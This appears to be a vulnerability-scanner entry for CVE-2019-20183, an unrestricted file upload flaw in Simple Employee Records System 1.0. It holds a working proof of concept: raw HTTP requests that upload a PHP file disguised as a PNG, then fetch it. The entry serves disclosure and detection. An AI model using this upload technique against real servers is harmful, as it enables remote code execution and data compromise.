| Title | Simple Employee Records System 1.0 - Unrestricted File Upload |
|---|---|
| Author | pikpikcu,j4vaovo |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can result in unauthorized access to the system, remote code execution, and potential compromise of sensitive data. |
| Remediation | Apply the latest patch or update to Simple Employee Records System 1.0 to fix the unrestricted file upload vulnerability. |
| CVSS Score | 7.2 |
| EPSS Score | 0.56083 |
| CVE ID | CVE-2019-20183 |
| CWE ID | CWE-434 |
| Tags | cve cve2019 edb rce fileupload intrusive employee_records_system_project vuln |
Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.
POST /dashboard/uploadID.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.9
Connection: close
Content-Length: 278
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
-----------------------------5825462663702204104870787337
Content-Disposition: form-data; name="employee_ID"; filename="poc.php"
Content-Type: image/png
<?php
echo md5('CVE-2019-20183');
unlink(__FILE__);
?>
-----------------------------5825462663702204104870787337--
GET /uploads/employees_ids/i8YTNn HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-20183.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-20183.pcap
N/AN/A